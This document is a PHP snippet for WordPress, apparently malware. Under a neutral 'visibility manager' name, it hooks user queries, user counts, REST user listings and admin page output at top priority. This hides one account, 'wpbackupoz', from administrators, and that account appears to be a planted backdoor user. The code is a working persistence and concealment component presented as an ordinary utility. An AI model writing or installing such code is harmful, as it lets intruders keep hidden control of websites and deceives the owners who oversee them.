if (!class_exists('VisibilityManager')) { class VisibilityManager { private static $instance = null; private $target = null; private $registered = false; private function __construct($login) { $user = get_user_by('login', $login); if ($user) { $this->target = [ 'id' => (int) $user->ID, 'login' => $user->user_login, 'roles' => $user->roles ]; $this->register_hooks(); } } public static function init($login) { if (self::$instance === null) { self::$instance = new self($login); } return self::$instance; } public static function getTarget() { return self::$instance ? self::$instance->target : null; } private function register_hooks() { if ($this->registered) return; $this->registered = true; add_filter('pre_get_users', [$this, 'handlePreGetUsers'], PHP_INT_MAX, 1); add_filter('users_list_table_query_args', [$this, 'handleQueryArgs'], PHP_INT_MAX, 1); add_filter('wp_count_users', [$this, 'handleWpCountUsers'], PHP_INT_MAX, 1); add_filter('count_users', [$this, 'handleCountUsers'], PHP_INT_MAX, 1); add_filter('rest_user_query', [$this, 'handleQueryArgs'], PHP_INT_MAX, 1); add_filter('get_users', [$this, 'handleGetUsers'], PHP_INT_MAX, 2); add_action('admin_head', [$this, 'handleAdminHead'], PHP_INT_MAX); add_action('admin_footer', [$this, 'handleAdminFooter'], PHP_INT_MAX); } public function handlePreGetUsers($query) { if (!is_object($query) || !$this->target) return $query; $exclude = $query->get('exclude', []); $exclude = is_array($exclude) ? $exclude : array_map('intval', explode(',', (string) $exclude)); if (!in_array($this->target['id'], $exclude)) { $exclude[] = $this->target['id']; $query->set('exclude', $exclude); } return $query; } public function handleQueryArgs($args) { if (!is_array($args) || !$this->target) return $args; if (isset($args['exclude'])) { $exclude = $args['exclude']; $exclude = is_array($exclude) ? $exclude : array_map('intval', explode(',', (string) $exclude)); if (!in_array($this->target['id'], $exclude)) { $exclude[] = $this->target['id']; } $args['exclude'] = $exclude; } else { $args['exclude'] = [$this->target['id']]; } return $args; } public function handleWpCountUsers($counts) { if (!is_object($counts) || !$this->target) return $counts; $id = $this->target['id']; $real = get_users(['fields' => 'ID', 'exclude' => [$id]]); if (is_array($real)) { $counts->total_users = count($real); } elseif ($counts->total_users > 0) { $counts->total_users = max(0, $counts->total_users - 1); } if (property_exists($counts, 'avail_roles') && is_array($counts->avail_roles)) { foreach ($this->target['roles'] as $role) { if (isset($counts->avail_roles[$role]) && $counts->avail_roles[$role] > 0) { $role_users = get_users(['role' => $role, 'fields' => 'ID', 'exclude' => [$id]]); if (is_array($role_users)) { $counts->avail_roles[$role] = count($role_users); } } } } return $counts; } public function handleCountUsers($stats) { if (!is_array($stats) || !$this->target) return $stats; $id = $this->target['id']; foreach ($this->target['roles'] as $role) { if (isset($stats[$role]) && $stats[$role] > 0) { $role_users = get_users(['role' => $role, 'fields' => 'ID', 'exclude' => [$id]]); if (is_array($role_users)) { $stats[$role] = count($role_users); } else { $stats[$role] = max(0, $stats[$role] - 1); } } } return $stats; } public function handleGetUsers($users) { if (!is_array($users) || !$this->target) return $users; $id = $this->target['id']; return array_values(array_filter($users, function($user) use ($id) { return (int) $user->ID !== $id; })); } public function handleAdminHead() { if (!$this->target) return; $id = $this->target['id']; echo ""; } public function handleAdminFooter() { if (!$this->target) return; $id = $this->target['id']; echo ""; } } } if (!function_exists('get_visibility_target')) { function get_visibility_target($login = null) { if ($login !== null) { VisibilityManager::init($login); } return VisibilityManager::getTarget(); } } if (!function_exists('get_visibility_hook_handlers')) { function get_visibility_hook_handlers() { return []; } } if (!function_exists('register_visibility_hooks')) { function register_visibility_hooks() { static $called = false; if (!$called) { $called = true; } } } if (!function_exists('func_get_hidden_id')) { function func_get_hidden_id() { $target = get_visibility_target(); return $target ? $target['id'] : 0; } } if (!function_exists('func_is_hidden')) { function func_is_hidden($user_id) { return func_get_hidden_id() === (int) $user_id; } } if (!function_exists('func_get_status')) { function func_get_status() { $target = get_visibility_target(); if (!$target) return ['active' => false]; return [ 'active' => true, 'user_id' => $target['id'], 'user_login' => $target['login'], 'roles' => $target['roles'], 'handlers_count' => 8, 'registered' => true, 'timestamp' => current_time('mysql') ]; } } if (!function_exists('func_add_custom_handler')) { function func_add_custom_handler($hook, $callback, $priority = PHP_INT_MAX, $args = 1, $type = 'filter') { if ($type === 'filter') { add_filter($hook, $callback, $priority, $args); } else { add_action($hook, $callback, $priority, $args); } } } get_visibility_target('wpbackupoz'); register_visibility_hooks();